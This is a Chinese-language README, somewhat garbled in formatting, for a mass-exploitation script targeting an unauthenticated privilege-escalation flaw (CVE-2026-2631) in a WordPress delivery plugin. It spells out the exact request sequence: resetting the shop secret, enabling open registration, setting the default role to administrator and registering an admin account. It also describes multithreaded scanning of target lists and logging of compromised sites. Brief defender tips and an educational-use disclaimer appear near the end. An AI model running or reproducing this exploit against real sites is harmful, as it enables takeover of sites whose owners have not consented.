Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 未认证权限提升
PoC / 漏洞利用脚本:
CVE-2026-2631.py
作者: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
联系方式: Telegram:@Kxploit
< 2.6.60(不含)CVE-2026-26319.8 (Critical)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDatalogics Ecommerce Delivery – Datalogics 插件暴露了一个未认证端点:
/wp-json/gsf/v1/update-options
该脚本利用此端点执行以下操作:
resetStoreConfigrations 操作重置内部 shop_secret 密钥。users_can_register = 1。administrator:default_role = administrator。wp-login.php?action=register如果成功,任何通过注册表单创建的新用户都将成为管理员。
users_can_register = 1default_role = administratorrich 提供丰富的 TUI 输出(彩色且实时更新的表格)。Login_admin.txt。安装所需包:
pip install -r requirements.txt
示例 requirements.txt:
requests
rich
urllib3
或手动安装:
pip install requests rich urllib3
针对每个目标:
规范化 URL
http:// 前缀。重置 shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfully更新 WordPress 选项
action = createUpdateOptionoption_key = users_can_register、option_value = 1option_key = default_role、option_value = administratorlist.txt(或自定义文件)读取所有目标。chunkify 将目标拆分为 N 个块。N 个工作线程,每个线程处理自己的目标列表。Queue 向打印线程传递状态消息。printer_loop)更新实时 rich 表格:
python3 CVE-2026-2631.py
系统将交互式提示您输入:
目标文件
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blog线程数
Threads (1-50) [10]:1050shop_secret 值
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations 的新密钥。这些凭据将用于对每个易受攻击目标的注册尝试。
创建 list.txt(或任何您想要的文件),每行一个目标:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
脚本将:
http:// 前缀。/。所有成功的操作(即使注册失败但选项已设置)都会写入:
Login_admin.txt
典型行:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
实时表格中的状态示例:
SUCCESS – 选项已设置和/或用户已注册。FAILED – 重置/选项失败,漏洞不可利用。ERROR – 异常、网络错误、超时等。POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
脚本会:
_wpnonce。normalize_site(raw: str) -> str
规范化目标 URL。
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
尝试 resetStoreConfigrations 操作。
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
通过易受攻击的端点设置 WordPress 选项。
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
检查注册是否开放且表单是否可访问。
try_register_user(...) -> (bool, str)
尝试注册提供的用户。
write_success_line(site: str, secret: str, detail: str)
将成功详情记录到 Login_admin.txt。
worker(...)
每线程工作器,执行:
shop_secret$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
致防御者/站点所有者:
wp_users 中最近的注册记录。/wp-json/gsf/v1/update-options/wp-login.php?action=register本脚本仅严格用于教育和经授权的安全测试目的。
如果您不同意这些条款,请勿使用本脚本。
CVE-2026-2631@Kxploit注意安全,负责任地开展测试。🕶️💻
wordpress option has been created or updated successfully检查注册是否开放
/wp-login.php?action=registerUsers can register、Anyone can register、user_registration、registerformuser registration is currently not allowed尝试用户注册
_wpnonce。user_login、user_emailuser_pass/user_pass2_wpnonce、_wp_http_referer、redirect_to、wp-submit=Registerregistration complete、check your email、user registereduser_already_exists日志记录
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
注册凭据
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:printer_loop(queue: Queue, total: int)
从队列读取消息并更新 rich 实时表格界面。
main()
统筹协调: